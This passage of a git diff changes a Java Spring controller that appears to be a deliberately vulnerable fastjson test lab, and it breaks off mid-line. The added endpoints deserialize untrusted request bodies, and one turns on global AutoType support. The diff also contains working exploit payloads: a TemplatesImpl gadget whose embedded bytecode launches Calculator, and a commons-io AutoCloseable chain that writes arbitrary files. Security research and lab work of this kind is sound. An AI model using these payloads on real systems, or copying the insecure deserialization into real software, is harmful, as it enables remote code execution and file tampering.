org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; +import java.lang.reflect.Type; +import java.net.MalformedURLException; +import java.util.Map; + @Controller @RequestMapping("/fastjson") @@ -21,15 +27,153 @@ public String Deserialize(@RequestBody String params) { try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); - return ob.get("name").toString(); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + throw e; + } + } + + @RequestMapping(value = "/deserialize0", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize0(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + JSONObject ob = JSON.parseObject(params); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + @RequestMapping(value = "/deserialize00", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize00(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + ParserConfig.getGlobalInstance().setAutoTypeSupport(true); + JSONObject ob = JSON.parseObject(params); + return ob.toString(); +// return ob.get("name").toString(); } catch (Exception e) { return e.toString(); +// throw e; } } - public static void main(String[] args) { + @RequestMapping(value = "/deserialize1", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize1(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json +// JSONObject ob = JSON.parseObject(params, Feature.SafeMode); +// return ob.toString(); +// return ob.get("name").toString(); + return ""; + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + + @RequestMapping(value = "/deserialize2", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize2(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + User ob = JSON.parseObject(params, User.class); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + + @RequestMapping(value = "/deserialize3", method = {RequestMethod.POST}) + @ResponseBody + public String Deserialize3(@RequestBody String params) { + // 如果Content-Type不设置application/json格式,post数据会被url编码 + try { + // 将post提交的string转换为json + Object ob = JSON.parseObject(params).toJavaObject(org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException.class); + return ob.toString(); +// return ob.get("name").toString(); + } catch (Exception e) { + return e.toString(); +// throw e; + } + } + + public static void main(String[] args) throws MalformedURLException { // Open calc in mac - String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; - JSON.parseObject(payload, Feature.SupportNonPublicField); +// String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; +// JSON.parseObject(payload, Feature.SupportNonPublicField); +// String result = formatChars("root:".toCharArray()); +// System.out.println(result); + +// String aaa_8192 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +// String write_name = "C://repos//burp//plugins//test_1.2.68.txt"; +// String read_name = "C://repos//burp//plugins//authParams.cfg.bak"; +// String payload = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}"; +// String 